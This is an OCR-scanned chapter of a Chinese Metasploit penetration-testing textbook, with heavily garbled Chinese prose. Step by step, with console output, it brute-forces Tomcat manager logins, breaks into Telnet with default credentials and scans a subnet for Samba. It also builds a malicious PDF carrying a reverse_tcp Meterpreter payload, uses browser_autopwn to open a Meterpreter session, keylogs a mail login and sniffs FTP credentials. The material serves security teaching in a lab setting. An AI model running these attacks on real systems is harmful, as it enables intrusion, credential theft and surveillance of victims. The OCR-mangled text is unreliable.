(4) &7 tomeat_mer_login FH AT LI, AT A& Wl TR

msf auxiliary(tomcat_mgr_login) > show options
Module options (auxiliary/scanner/http/tomcat_mgr_login):

Name Current Setting Required Description
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the
current
database
DB_ALL_PASS false no Add all passwords in the current database to
the list
DB_ALL_USERS false no Add all users in the current database to the
list
PASSWORD no A specific password to authenticate with
PASS_FILE
lopt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_pass.txt

no File containing passwaords, one per line
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a
host
THREADS 1 yes The number of concurrent threads
URI /manager/html

yes URI for Manager login. Default is
/manager/html
USERNAME no A specific username to authenticate as

USERPASS_FILE
lopt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_userpass.ixt
no File containing users and passwords
separated by space,
one pair per line

USER_AS_PASS true no Try the username as the password for all
users
USER_FILE
lopt/metasploit/apps/pro/msf3/data/wordlists/tomcat_mgr_default_users.txt
no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host

EL_E 4 )45 BV 7R T tomeat_mgr_login BEHL P AT LT I A] ELGE PR Y
i, HEATHLE -
(5) V& Pass File ZEI0. FATHATS W T TR

msf auxiliary(tomcat_mgr_login) > set PASS_FILE /usr/share/metasploit-
framework/data/wordlists/tomcat_mgr_default_pass.txt
PASS_FILE == /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_pass.txt

Dt i RN STy N h LR P o S E
(6) W User_File &M, tATar%W FHrs:

msf auxiliary(tomcat_mgr_login) > set USER_FILE lusr/share/metasploit-
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framework/data/wordlists/tomcat_mgr_default_users.txt
USER_FILE => /usr/share/metasploit-framework/data/wordlists/ tomcat_mgr_default_users txt

DA F St 105 W o 1 Fi8 5 T 45 SO 9 B Bt A
(7) fiiH] RHOSTS JEIf ¥ & A dr REE AL H] (1 Metasploitable 2) o 47 i<
FHTR:

msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.41.142
RHOSTS => 192.168.41.142

i A S g Mo (9 AR R Gt hik O 192.168.41.142,
(8) ' RPORT LMY 8180, FHAT x4 Ui T Fros:

msf auxiliary(tomcat_mgr_login) > set RPORT 8180
RPORT == 8180

DA AR BB T Hodi A AR SR L 1155 8180
(9) BITBERT . BATAA I N R

msf > exploit

[*] 192.168.41.142:8180 TOMCAT_MGR - [01/63] - Trying username:" with password:"

[-] 192.168.41.142:8180 TOMCAT_MGR - [01/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as "

[*] 192.168.41.142:8180 TOMCAT_MGR - [02/63] - Trying username:'admin’ with password:"

[-] 192.168.41.142:8180 TOMCAT_MGR - [02/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as ‘admin’

[*¥] 192.168.41.142:8180 TOMCAT_MGR - [12/63] - Trying username:'xampp' with password:"

[-] 192.168.41.142:8180 TOMCAT_MGR - [12/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'xampp'

[¥] 192.168.41.142:8180 TOMCAT_MGR - [13/63] - Trying username:admin’ with
password:'admin’

[-] 192.168.41.142:8180 TOMCAT_MGR - [13/63] - /manager/html| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as ‘admin’

[¥] 192.168.41.142:8180 TOMCAT_MGR - [14/63] - Trying username:'manager’ with
password:'manager’

[-] 192.168.41.142:8180 TOMCAT_MGR - [14/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as 'manager’

[*] 192.168.41.142:8180 TOMCAT_MGR - [15/63] - Trying username:'role1' with password:'role1’
[-] 192.168.41.142:8180 TOMCAT_MGR - [15/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as ‘role1’

[*] 192.168.41.142:8180 TOMCAT_MGR - [16/63] - Trying username:'root' with password:'root'

[-] 192.168.41.142:8180 TOMCAT_MGR - [16/63] - /manager/html| [Apache-Coyote/1.1] [Tomcat
Application Manager] failed to login as ‘roof'

[x] 192.168.41.142:8180 TOMCAT_MGR - [17/63] - Trying username:‘tomcat’ with
password:‘tomcat’

[+] http://192.168.41.142:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application
Manager] successful login ‘tomcat’ : ‘tomcat’

[*] 192.168.41.142:8180 TOMCAT_MGR - [18/63] - Trying username:'both' with password:'both’
[-] 192.168.41.142:8180 TOMCAT_MGR - [18/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat

Application Manager] failed to login as 'both’
[*] 192.168.41.142:8180 TOMCAT_MGR - [58/63] - Trying username:'both’ with password:'s3cret’
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[-11192.168.41.142:8180 TOMCAT_MGR - [58/63] - /manager/htm| [Apache-Coyote/1.1] [Tomcat

Application Manager] failed to login as 'both’
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

PAES AR BB oR 78l Tomeat RSG5 M idfe. Mt (£ 2R o n] LUR 21 8 ok

Tomcat JI}} 251 /7 48 R 220580 4 tomeat.,

6.44 BiEWT Telnet BR %

Telnet [IR 55 J2 —Ff “ % P o/l o545 7 B8, £E82 Telnet I217 R A h— 2 B45

AR, 4332 Telnet R4S #5F1 Telnet 2 . BT Telnet J& 1 HI W S A o8 A i s

[,

PreAdeAad 4. X HLgEa] LS T Metasplolit H (f)— Mg, w] AR H Telnet JIi 55 (1)

M. FHER A 425D Telnet [R5 .

(1) Jei3) MSF £, BT fir & 20 T i

root@kali:~# msfconsole
msf>

(2) 41 telnet_version #8, JFF & nJ T E VLIS B AT a0 F s

msf > use auxiliary/scanner/telnet/telnet version
msf auxiliary(telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

Name Current Setting Required Description

PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
RPORT 23 yes The target port

THREADS 1 yes The number of concurrent threads
TIMEOUT 30 yes Timeout for the Telnet probe

USERNAME no The username to authenticate as

Mot A5 B, nl BUE BT DA 6 20 B . Horp = ANET O il s,  DLFERC

RHOSTS £ .

1%

(3) Bl RHOSTS JEI, JfHahdidh. $ATar2 Wl ~prxs:

msf auxiliary(telnet_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

msf auxiliary(telnet_version) > exploit
[*] 192.168.6.105:23 TELNET _

\x0a _ __ _ | ______|| O \\an|_' VR I
NN TN N D™ 0al T TN YD TTO o s
\x0al_| L || I\ S - S I | I | O W Y/ | S I | -

I \x0a\x0a\x0aWarning: Never expose this VM to
an untrusted network!\x0a\x0aContact: msfdev[at)metasploit. com\x0a\x0aLogin  with
msfadmin/msfadmin to get started\xOa\x0a\xOametasploitable login:

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

ML E S A5 B OO #l—HECAF R (HE X EE B LLE 2], B2 T Telnet
2 E{E L Login with msfadmin/msfadmin to get started, MIX4E 4, FILLAEMH
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b AL Telnet JIf45 1) H P 44 FVE5 S #6 4 msfadmin. OIS 0] DL2 08 5%
(4) EFHRTHLAY Telnet IR5. #iTdr-2 W FRrs:

root@kali:~# telnet -| msfadmin 192.168.6.105

Trying 192.168.6.105...

Connected to 192.168.6.105.

Escape character is "]'.

Password: #i N\ %858 msfadmin

Last login: Tue Jul 8 06:32:46 EDT 2014 on tty1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

No mail.

msfadmin@metasploitable:~$

LEAfE R B on 7 % & Teet JIR % M B . @ E L+ & 3
msfadmin@metasploitable:~$ 7= 177, W7 D&% T Telnet flids. BB n LLEIT —Lehn
AERY Linux 72 Fln, SFZ DA, $ATar-ean FpoR:

msfadmin@metasploitable:~$ id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),

25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(samb

ashare),1000(msfadmin)

S B SR T msfadmin P AUA IS E B Hi, gid 7R groups & 1 MK
Tz P RIEEAL,  groups H Y HABZRIK 5 iz H RO B 02 .

6.4.5 E£iEN T Samba IR

Samba iz 4501 SMB (Server Messages Block) 1. 51 & 34T XA = /14 B
R4 R . Samba 45 0T RV (M8 AT 139 Fl 445 %5, HUETF ) IX 2o )5, AU
H[ HEAFAE Samba IR 55 1L i IR . R R 212 1B Samba [IR254%

(1) Jizh MSF %3 04T 802 W B Rr7R:

root@kali:~# msfconsole
msf>

(2) 1#H] smb version #itl, JF A ZEH ARG E FEEIRZE. AT W T TR,

msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads
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(3) BLHE RHOSTS ET. $ATar2 W FAT7s:

msf auxiliary(smb_version) > set RHOSTS 192.168.6.105
RHOSTS => 192.168.6.105

(4 Jazhdst. IArar & a ~Pras:

msf auxiliary(smb_version) > exploit
[¥] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown)

(domain:WORKGROUP)
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

M A5 S, LA BRG] 1EAEIZ 17 1) Samba JIR 5545 S H A

7F Metasploit H1{# [ smb_version fidh, i4A] DL35EFIRSEA ML N T 1247 Samba
R 880 HL. RIS 20F1H 192.168.6.0/24 W44 P9 TF ff Samba It 222 (11574 1 L.

(1) IEFEAE] smb_version itk . HAT AT W F Frs:

msf > use auxiliary/scanner/smb/smb_version

(2) MLE smb_version B n] BUE RIS 4. AT a2 W TR,

msf auxiliary(smb_version) > set RHOSTS 192.168.6.0/24
RHOSTS => 192.168.6.0/24

msf auxiliary(smb_version) > set THREADS 255
THREADS => 255

(3) JAshHsi. AT AWK Fros:

msf auxiliary(smb_version) > exploit
[¥] 192.168.6.106:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language:

Unknown) (name:WIN-RKPKQFBLG6C) (domain:WORKGROUP)
[¥] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown)

(domain:WORKGROUP)
[*] 192.168.6.104:445 is running Windows XP Service Pack 0/ 1 (language: Chinese - Traditional)

(name:LYW) (domain:LYW)
[*] 192.168.6.110:445 is running Windows XP Service Pack 0/ 1 (language: Chinese - Traditional)

(name:AA-8860KJM26FSW) (domain:WORKGROUP)
[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

M S, oTLLEF] 192.168.6.0/24 M4 A5 D0 & L _EIEfEis 74 Samba I
Zas. ERRIEEF, ATLLIE BIZ4T Samba 45 s 1E R4, 33 IT )5 Samba
MRE5 281 MG, tn] LU TS RGE T .

6.4.6 PDF X

PDF it FhSCHbe sk, %30 PHI T LA i, IR B2 S . SBH e LfEeh, i
R T AR R T IF T i PDF SCRY . 4T JFi%ScRimt, 117 B WLALAT v A
Wedidi. Metasploit $20ET BRI, oTRROIE DBk AT, EE L %
A b R T B BT . AN 10487 41642 PDF SCIFICH B .

{42 PDF S {0 BB IR B F AT
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(1) Ji3h MSFCONSOLE. 473 Fiix:

root@kali:~# msfconsole

(2) EPTHA R PDF fith, AT W FHR:

msf exploit(adobe_pdf_embedded_exe) > search pdf

Matching Modules

auxiliary/admin/http/typo3_sa_2010_020
Remote File

auxiliary/admin/sap/sap_configserviet_exec_
Command

noauth
auxiliary/admin/webmin/edit_html_fileaccess
file Parameter

Access
auxiliary/dos/http/3com_superstack_switch
Switch Denial of

auxiliary/dos/http/hashcollision_dos
auxiliary/dos/scadaligss9_dataserver

DoS
auxiliary/dos/upnp/miniupnpd_dos
of Service (DoS)

exploit/'windows/http/sap_configserviet_
Remote Code

exec_noauth
exploit/windows/http/sonicwall_scrutinizer_sqli
Scrutinizer 9

exploit/'windows/misc/avidphoneticindexer
5.5 - Avid

exploit/windows/misc/poisonivy_bof
Server Buffer

exploit/windows/fileformat/adobe_pdf
EXE Social

embedded_exe
exploit/windows/oracle/tns_service_name

exploit/windows/postgres/postgres_payload
Microsoft Windows

exploit/'windows/scada/abb_wserver_exec
wserver.exe

exploit/windows/scada/citect_scada_odbc
CitectSCADA/CitectFacilities ODBC

Disclosure Date

2012-11-01

00:00:00 UTC
2012-09-06

00:00:00 UTC
2004-06-24
00:00:00 UTC
2011-12-28
00:00:00 UTC
2011-12-20
00:00:00 UTC
2013-03-27
00:00:00 UTC

2012-11-01

2012-07-22

2011-11-29

2012-06-24

2010-03-29

2002-05-27

Rank  Description

normal TYPO3 sa-2010-:020
Disclosure

normal SAP ConfigServlet OS
Execution

normal Webmin edit_html.cgi
Traversal Arbitrary File

normal 3Com SuperStack
Service

normal  Hashtable Collisions

normal 7-Technologies IGSS 9
IGSSdataServer.exe

normal  MiniUPnPd 1.4 Denial
Exploit

great SAP ConfigServlet
Execution

excellent Dell SonicWALL (Plixer)

SQL Injection
normal Avid Media Composer

Phonetic Indexer Buffer Overflow
normal Poison lvy 2.3.2 C&C

Overflow
excellent Adobe PDF Embedded

Engineering
good Oracle 8i TNS Listener

SERVICE_NAME Buffer Overflow

2009-04-10

2013-04-05

2008-06-11

excellent PostgreSQL for
Payload Execution
excellent ABB MicroSCADA

Remote Code Execution
normal

Buffer Overflow

DA b4t 5 B2 R T PDF JiAT ol R . ey ml DU FRAH R B AT o, e
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B AT Bk
(3) {#H] Adobe PDF Embedded EXE #itlt, HiT&r4 W FATs:

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
(4) &% adobe pdf embedded exe BIHATZLPIL I AT f 4 W F Fos:

msf exploit(adobe_pdf_embedded_exe) > show options
Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):

Name Current Setting Required Description
EXENAME no The Name of payload exe.
FILENAME evil.pdf no The output filename.
INFILENAME yes The Input PDF filename.

LAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this

message again" box and press Open.
no The message to display in the File:

area
Exploit target:
Id Name

0 Adobe Reader v8.x, v9.x (Windows XP SP3 English/Spanish)

LI Ef5 BV 7R T adobe pdf embedded exe Flbi BT vl A4 10 s IRFTAC 40 200 1) 36 0,
RGNS EL .

(5) BCE M AR ) PDF SCME4 . AT a4 B s

msf exploit(adobe_pdf_embedded_exe) > set FILENAME evildocument.pdf

FILENAME => evildocument.pdf

(6) WE INFILENAME E30. 24 1 FHT, A6 i 54 i B 5 i) () PDF SCPEAL .
AT A2 BT

msf exploit(adobe_pdf_embedded_exe) > set INFILENAME /root/Desktop/ willie.pdf

INFILENAME => /root/Desktop/willie.pdf

(7) izAT exploit. AT @41 T Fion:

msf exploit(adobe_pdf_embedded_exe) > exploit
[*] Reading in '/root/Desktop/willie.pdf'...

[*] Parsing ‘/root/Desktop/willie.pdf'...

[*] Using ‘windows/meterpreter/reverse_tcp' as payload...

[*] Parsing Successful. Creating 'evildocument.pdf file...

[+] evildocument.pdf stored at /root/.msf4/local/evildocument.pdf

B E R T evildocument pdf SO £ 4 A, T H AL 847 3] /root/ msfd/local H ¢,
6.4.7 {#F browser_autopwn tRIRZIFEI T3 %o 25

Browser Autopwn & HH Metasploit #2 it — 4B HL . 2445 ] —> Web DI, ‘&
FVF P HEh s — AR THL. Browser Autopwn 7RI 2 B, i TIRa0s i
E, IR A2 Bt Mozilla Firefox % 4%, 1 H & Bl /48 H 1171 Internet Explorer 7
W EAS . A/DNTATKE AT 2 browser autopwn FRER (1A .
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INZ% browser_autopwn FER ) BARSRAE L IR U b ATr7s .
(1) Ji5h MSFCONSOLE. #4714 FHinR:

root@kali:~# msfconsole

(2) frif] autopwn fHtR .

msf > search autopwn
Matching Modules

Name Disclosure Date Rank Description

auxiliary/server/browser_autopwn normal HTTP Client Automatic Exploiter
WG E R T — autopwn #iblk.
(3) 1#H] browser autopwn f&Ht. AT FFT7R:
msf > use auxiliary/server/browser_autopwn
PATEL BEar@)n, WA B .
(4) ¥ payload. AT 4 W fis:

msf auxiliary(browser_autopwn) > set payload windows/meterpreter/ reverse_tcp
payload => windows/meterpreter/reverse_tcp

(5) 7% payload [MIEIH. AT A4 W F FoR:

msf auxiliary(browser_autopwn) > show options
Module options (auxiliary/server/browser_autopwn):

Name Current Setting Required Description
LHOST 192.168.41.234 yes The IP address to use for reverse-connect
payloads
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an
address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used
(accepted: SSL2,

SSL3, TLS1)

URIPATH no The URI to use for this exploit (default is random)

b 4G B s T payload BB T . I st n] DA B T S T Ak TR T I
(6) FC'E LHOST i&If, ATar2 W Fins:

msf auxiliary(browser_autopwn) > set LHOST 192.168.41.234
LHOST => 192.168.41.234

PL A4S SR R AR e AL EHLAE R A TP Hhhb 2 192.168.41.234.
(7) Wi URIPATH #ET0. 44767400 N ATR:

msf auxiliary(browser_autopwn) > set URIPATH "filetypes’
URIPATH => filetypes

(8) FHBERE . BATa20 Fs:

msf auxiliary(browser_autopwn) > exploit
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[*] Auxiliary module execution completed

[*] Setup

[*] Obfuscating initial javascript 2014-04-30 19:00:49 +0800
[*¥] Done in 0.718574284 seconds

msf auxiliary(browser_autopwn) >
[#] Starting exploit modules on host 192.168.41.234...

[*] —_
[¥] Starting exploit multi/browser/java_atomicreferencearray with payload java/meterpreter/

reverse_tcp
[*] Using URL: http://0.0.0.0:8080/BjlwyiXpeQHIG

[¥] Local IP: http://192.168.41.234:8080/BjlwyiXpeQHIG

[*] Server started.

[*] Starting exploit multi/browser/java_jre17_jmxbean with payload java/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/NVVrXNZ

[¥] Local IP: http://192.168.41.234:8080/NVVIXNZ

[*] Server started.

EEERSAE..

[*] Started reverse handler on 192.168.41.234:6666

[*] Started reverse handler on 192.168.41.234:7777

[#] Starting the payload handler...

[*] Starting the payload handler...

[¥] — Done, found 16 exploit modules

[*] Using URL: http://0.0.0.0:8080/filetypes

[¥] Local IP: http://192.168.41.234:8080/filetypes

[*] Server started.

[¥] 192.168.41.146  browser_autopwn - Handling 'filetypes' #i77 18] EHLBY & P

[*¥] 192.168.41.146  browser_autopwn - Handling 'ffiletypes'

[*] Meterpreter session 1 opened (192.168.41.234:3333 -> 192.168.41.146:1073) at

2014-04-30 19:16:54 +0800
[<] Sending stage (769024 bytes) to 192.168.41.146

[¥] Session ID 1 (192.168.41.234:3333 -> 192.168.41.146:1071) processing

InitialAutoRunScript ‘migrate -f*
[+] Successfully migrated to process
[*] Current server process: gjRc.exe (1824)

[¥] Spawning notepad.exe process to migrate to
[+] Migrating to 1260

PA_Egar A B — MR PG . b R st A B R, B P RIER R,

[B)3 4y N ZRAE A B S G BT o M H Rt B e B 2175 ) i 192.168.41.146 5 0] T
192.168.41.234 LML, JFEIhERS T — NGRS 06 e ih 2 B - vt ) G = A2 m .
Ly2ENRR)E s G, AR5 ) TE 3 % 28 S 4 N hitp://IP Address:8080/filetypes i [1] F=#1,

K TR A 2 U
(9) WE (8) RS 45 b v LLE R, s TR 23iE ID O 1. ) 130 e il
PAT AT R PR

msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
M R S T LB S, 53 T A 4% 1 #EAH T Meterpreter fir 247
(10) &FREIZATIY Meterpreter a7 2 414 . HUAT a4 W T Fios:

meterpreter > help
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Core Commands

Command Description

? Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels

close Closes a channel

disable_unicode_encoding
enable_unicode_encoding
exit

Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session

help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
...... HEEBSAE
Stdapi: Networking Commands
Command Description
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service

route View and modify the routing table
Stdapi: System Commands

Command Description

clearev Clear the event log

drop_token Relinquishes any active impersonation token.

execute Execute a command

getenv Get one or more environment variable values

getpid Get the current process identifier

getprivs Attempt to enable all privileges available to the current process
getuid Get the user that the server is running as

kill Terminate a process

ps List running processes

reboot Reboots the remote computer

reg Meodify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts down the remote computer

steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
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sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands

Command Description

enumdesktops List all accessible desktops and window stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer

keyscan_start Start capturing keystrokes

keyscan_stop Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop

setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

Priv: Timestomp Commands

Command Description

timestomp Manipulate file MACE attributes

iy 145 B R T Meterpreter i 24T F o[ is4T W TAT dr 4. 03 A, 4064
(1) RSB, T %0 F R

meterpreter > keyscan_start
Starting the keystroke sniffer...

(12) SRR AG L, AT TIIR:

meterpreter > keyscan_dump

Dumping captured keystrokes. ..

<Back> <Back> <Back> <Back> <N1> <NO> <N1> <N2> <NO> <N7> <N3>
<N5> <Nb5> <N4> <Back> <Back> <Back> <Back> <Back> mail.qg.com <Return>
<N1> <N2> <N3> <N4> <N5> <N6> <N7> <NB8> <N9> <N1> 123456 <Return>

RS S SR TR P e s R AT A S R . WiiAe T mail.qq.com [k,
BRI s 2, 1234567891, E5{L %y 123456,

6.4.8 7& Metasploit FigFka

L. Metasploit 1, k4 B EATIBE B o] LIRS — Meterpreter Shell. 7F
Meterpreter Shell 7, & LU 3k F bR S 4 (0504 F TR A 44 Al 4 Metasploit 4 35

(1) B Fe 20 s AR MR ) 2318, JFAT AN IER B H br EHLK Meterpreter Shell.
Ff A2 Windows 7 38 B Xl LAHLAY— > Meterpreter Shell, U1 F T 7 :

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.6.103:4444

[*] Starting the payload handler...

[*] Sending stage (769536 bytes) to 192.168.6.110

[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17

10:44:47 +0800
meterpreter >

M A5 K AT AR BIRRIN AT IT T A Meterpreter 23 k. 4% F2R, wha] LU
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run packetrecorder iy & fili 3k F A5 R ZT 0 EH 4 T .
(2) 8 F packetrecorder iy ZH . AT U FPrR:

meterpreter > run packetrecorder
Meterpreter Script for capturing packets in to a PCAP file
on a target host given a interface ID.
OPTIONS:
-h Help menu.
-i <opt> Interface ID number where all packet capture will be done.
-l <opt> Specify and alternate folder to save PCAP file.
-li List interfaces that can be used for capture.
-t <opt> Time interval in seconds between recollection of packet, default 30 seconds.

LA 4 0945 B 71 run packetrecorder #ir 4 IVE T AT IS S50, 7R EURTHT,
HoeEfRENikE O Irel, #EEF B e
(3) AN R . AT AW R

meterpreter > run packetrecorder -li
1 - 'VMware Accelerated AMD PCNet Adapter’ ( type:0 mtu:1514 usable:true dhcp:true wifi:-false )

M A B T RUE ST S
(4) $7 e i P O TF R sk B, TR SCOF DrAr 25T Lo AT A & 0 T Br s

meterpreter > run packetrecorder -i 1 -l /root/Desktop
[*] Starting Packet capture on interface 1

[+] Packet capture started
[*] Packets being saved in to /root/Desktop/logs/packetrecorder/ AA-8860KJM26FSW_

20140717.2700/AA-8860KJIM26FSW_20140717.5608.cap
[*] Packet capture interval is 30 Seconds

G
[*] Interrupt
[+] Stopping Packet sniffer...

PATEA Bdn2 )5, $ETTIRHIER B AR AL B . i3k SO 2 fR A7 B9a A7 B —
A logs At BLESIZRIEREAZ HaE b, WEREEE, W4T Cul+-C 4758 .

7F Metasploit W4 $ A B4 8L, v LLAE ] Wireshark T 2 AT 8547 43 H7 - 7F Kali Linux
o, BN T Wireshark T,

(326 6-31 R~ Al ] Wireshark T R, $7JFiZk A SO AR IRU F .

(1) JAg)) Wireshark, ¢ 1/E )5 Hig4T. AT a2 FFR:

root@kali:~# wireshark &

B 7 B T AR e £ < W H]RE 7 [Kali Linux|Top 10 Security Tools|wireshark iy 4,
R R 6.16 i FHH .

Lua: Error during Loading:
[string "/usr/share/wireshark/init lua"]:46: dofile has been disabled due to running

Wireshark as superuser. See http://wiki.wireshark.org/CaptureSetup/
CapturePrivileges for help in running Wireshark as an unprivileged user.

2 (0)

€616 EEER
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) SR S AR B A A G P s AT AT . SR R e
&ﬁ L@m%%dU%%%ﬁﬁn

The Wireshark Network Analyzer [Wireshark 1.10.2 (SVN Rev 51934 from uﬂd

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
@@idm i @afxec aessr ¥ EE

Filter: v | Expression... v

—/L____  The World's Most Popular Network Proto
WIRESHARK n1.10.2 (SVN Rev 51934 from /trunk-1.10)

. CGptue | |

Interface List = Open

Live list of the capture interfaces Opena previously captured file
(counts incoming packets)

©

Open Recent:
7 Start

Choose one or more interfaces to capture from, then Start

Iroot/Desktop/logs/p ... 7.0855/A/

IrnntiNesktan/lnnsin 7 SANAIAL

Ready to load or capture -...: Profile: Default

) 6.17 Wireshark ¥ 5L

(3) ZFMst /2 Wireshark [ - FL1f . BB 7632 LR K 0L $E File|Open fn 4, JEFF
BT TIPSR . FT TR 30, A 6.18 FioR.

AA-8860KIJM26FSW.20140717.5608.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] Hﬁid
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
@@im/ /| axelaes+»FEEE el @B -
Filter: ‘ﬁp v | Expression... Clear Apply #R1F
No.  Time Source ‘Destination ‘Protocol Lengtl | Info
19 5.000000  192.168.6.112 192.168.6.110 FTP 74 Response: 220 (vsFTPd 2.2.2)
27 9.000000 192.168.6.110 192.168.6.112 FTP 780 Request: USER anonymous
29 9.@00000 192.168.6.112 192.168.6.11@ FTP 88 Response: 331 Please specify the password.
78 21.800000 192.168.6.110 192.168.6.112 FTP 88 Request: PASS mozilla@example.com
79 21.000000 192.168.6.112 192.168.6.110 FTP 77 Response: 230 Login successful.
95 24.000000 192.168.6.110 192.168.6.112 FTP 80 Request: PORT 192, 168,6,110,11,54
96 24.000000 192.168.6.112 192.168.6.110 FTP 105 Response: 200 PORT command successful. Consider using
97 24.000000 192.168.6.11@ 192.168.6.112 FTP 60 Request: LIST
181 24.000000 192.168.6.112 192.168.6.1108 FTP 93 Response: 150 Here comes the directory listing.
185 24.80086@ 192.168.6.112 192.168.6.118 FTP 78 Response: 226 Directory send OK.
111 26.000000 192.168.6.118 192.168.6.112 FTP 63 Request: CWD pub
112 26.800000 192.168.6. 6.11@ FTP 91 Response: 250 Directory successfully changed.
118 28.000000 192.168. 6.112 FTP 80 Request: PORT 192,168,6,110,11,55
28.000008 6 200 PORT command succe: l. Consider usin
120 28.000000 192.168.6.110 192.168.6.112 FTP 68 Request: LIST
124 28.000000 192.168.6.112 192.168.6.118 FTP 93 Response: 150 Here comes the directory listing.
128 28.000000 192.168.6.112 192.168.6.118 FTP 78 Response: 226 Directory send OK.
@ ¥ File: "/root/Desktop/logs/packetre... : Packets: 131 - Displayed: 17 (13.0%) - ...: Profile: Default

618 JIRMHIRE

(4) Mz St e] LLE BRIk 00 By £ 4 ?_’Ewlreshark'# e n] DL ot A
eSS IE R EIR AL . RS S — NS, AR T AT IR
hmwﬂm%mmwAﬁg i 6.19 Ik,
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Follow TCP Stream uﬁ‘u

Stream Content

220 (vsFTPd 2.2.2)

USER anonymous

331 Please specify the password.

PASS mozllla@example.com

230 Login successful.

PORT 192,168,6,110,11,54

200 PORT command successful. Consider using PASV.
LIST

150 Here comes the directory listing.

226 Directory send OK.

owD pub

250 Directory successfully changed.

PORT 192,168,6,110,11,55

200 PORT command successful. Consider using PASV.
LIST

150 Here comes the directory listing.

226 Directory send OK.

Entire conversation (457 bytes) v

FHF) HEH(A) | 4TED(P) 7 ASCII 7 EBCDIC 7 Hex Dump ™ CArrays © Raw
WEh(H) Filter Out This Stream *H(C)

K619 FTP <

(5) ZFMmMBR T —N5eH8 FTP 216, Wigst FTP RS20 P 4 . ~ g R
Uy ) ) H .
7F Kali 1, 0] LU Xplico T. B 23 HT Wireshark i3k 1) k. {HE, iZ CrERI#% A
i peap. 1% T HERVATE Kali W& A7 2e3e, TS W D . R4 e
H Xplico THEHhEdhE .
‘Z%¢ Xplico T H. $ATA2 W Frs:

root@kali:~# apt-get install xplico

AT UL B &G, afT i R B RIS, W) Xplico T H g Zeeplish 1. £ ke
T L Xplico IR 45 A ah, A ] LER . F11 Xplico 31 Web FLif, At LA T %55 5 Apache
2 k-
JA3)) Apache JIR%5. AT ar% W R FTR:

root@kali:~# service apache2 start
[OK] Start web server: apache2.

